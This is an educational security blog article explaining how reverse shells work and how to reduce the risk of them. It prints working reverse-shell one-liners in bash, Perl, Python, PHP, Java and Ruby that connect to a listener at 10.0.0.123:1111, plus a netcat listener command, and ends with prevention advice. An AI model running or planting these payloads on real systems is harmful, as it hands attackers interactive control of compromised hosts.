What Are Reverse Shells?

A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the attacker’s host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack. Reverse shells can also work across a NAT or firewall. This article explains how reverse shells work in practice and what you can do to prevent them.

What Are Reverse Shells?

A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the local host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack. A reverse shell (also called a connect-back shell) can also be the only way to gain remote shell access across a NAT or firewall. Let’s see how reverse shells work in practice and what you can do to prevent them.

Understanding Reverse Shells

How a Reverse Shell Works

To establish a typical remote shell, a machine controlled by the attacker connects to a remote network host and requests a shell session – this is called a bind shell. But what if the remote host is not directly accessible, for example because it has no public IP or is protected by a firewall? In this situation, a reverse shell might be used, where the target machine initiates an outgoing connection to a listening network host and a shell session is established.

Reverse shells are often the only way to perform remote maintenance on hosts behind a NAT, so they have legitimate administrative uses. However, they can also be used by cybercriminals to execute operating system commands on hosts protected from incoming connections by a firewall or other network security systems. For example, a piece of malware installed on a local workstation via a phishing email or a malicious website might initiate an outgoing connection to a command server and provide hackers with a reverse shell capability. Firewalls mostly filter incoming traffic, so an outgoing connection to a listening server will often succeed.

When attempting to compromise a server, an attacker may try to exploit a command injection vulnerability on the server system. The injected code will often be a reverse shell script to provide a convenient command shell for further malicious activities.

Reverse Shell Code Examples

To start with, the attacker needs to start a listener process on their system to listen for reverse shell connections incoming to their IP address, for example 10.0.0.123. On Linux, this can be as simple as one netcat command:

ncat -l -p 1111

This will start a netcat listener on port 1111. Now the attacker needs to (manually or automatically) execute code on the remote machine to connect to the listener. Many ready reverse shell codes exist for various systems and languages – see pentestmonkey’s Reverse Shell Cheat Sheet for an extensive list. Kali Linux also comes with a set of ready webshells, including reverse shells. Codes are typically one-liners to allow injection using a single command. While the examples below are for Linux and other Unix-like systems, many of them will also work on Windows if you change the command line interpreter call from /bin/sh -i to cmd.exe.

Bash Reverse Shell

If the target machine runs Linux, it’s a good idea to start with bash, as nearly all Linux systems come with this system shell:

/bin/bash -i >& /dev/tcp/10.0.0.123/1111 0>&1

Perl Reverse Shell

As with bash, a perl interpreter should be available on most Linux servers, so a perl command might be another way to obtain a reverse shell:

perl -e 'use Socket;$i="10.0.0.123";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python Reverse Shell

With Python continuing to gain popularity, there’s a good chance it’s available on the target server and can be used to execute a script like:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.123",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

Most web servers will have PHP installed, and this too can provide a reverse shell vector (if the file descriptor &3 doesn’t work, you can try subsequent numbers):

php -r '$sock=fsockopen("10.0.0.123",1111);exec("/bin/sh -i <&3 >&3 2>&3");'

Java Reverse Shell

Java is likely to be available on application servers:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.123/1111;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ruby Reverse Shell

Ruby is another popular web application language that’s likely to have an interpreter on a general-purpose server system:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.123",1111).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Preventing Reverse Shells

Unless you are deliberately using reverse shells for remote administration, any reverse shell connections are likely to be malicious. Unfortunately, there’s also no surefire way of blocking reverse shell connections on a networked system, especially a server. You can mitigate the risk by selectively hardening your system:

  • To limit exploitation, you can lock down outgoing connectivity to allow only specific remote IP addresses and ports for the required services. This might be achieved by sandboxing or running the server in a minimal container. Another way could be to set up a proxy server with tightly controlled destination restrictions. However, considering that reverse shells can be created even over DNS, such hardening can only limit the risk of reverse shell connections, not eliminate it. 
  • To make attacks a little more difficult, you can remove all unnecessary tools and interpreters to prevent the execution of at least some reverse shell codes. However, this is usually not a practical option except for the most hardened and specialized servers, and a determined attacker will eventually find a working shell script anyway.

Regardless of the technicalities, once an attacker has a way of executing OS commands, the system should be considered compromised – so the best protection from reverse shells is to prevent exploitation in the first place. Shell scripts are typically executed by exploiting a code injection vulnerability, often followed by privilege escalation to obtain root privileges. To avoid these and other vulnerabilities, it’s vital to regularly patch your servers and web applications, and test them using a proven vulnerability scanner.

Zbigniew Banach

About the Author

Zbigniew Banach - Technical Content Lead & Managing Editor

Cybersecurity writer and blog managing editor at Invicti Security. Drawing on years of experience with security, software development, content creation, journalism, and technical translation, he does his best to bring web application security and cybersecurity in general to a wider audience.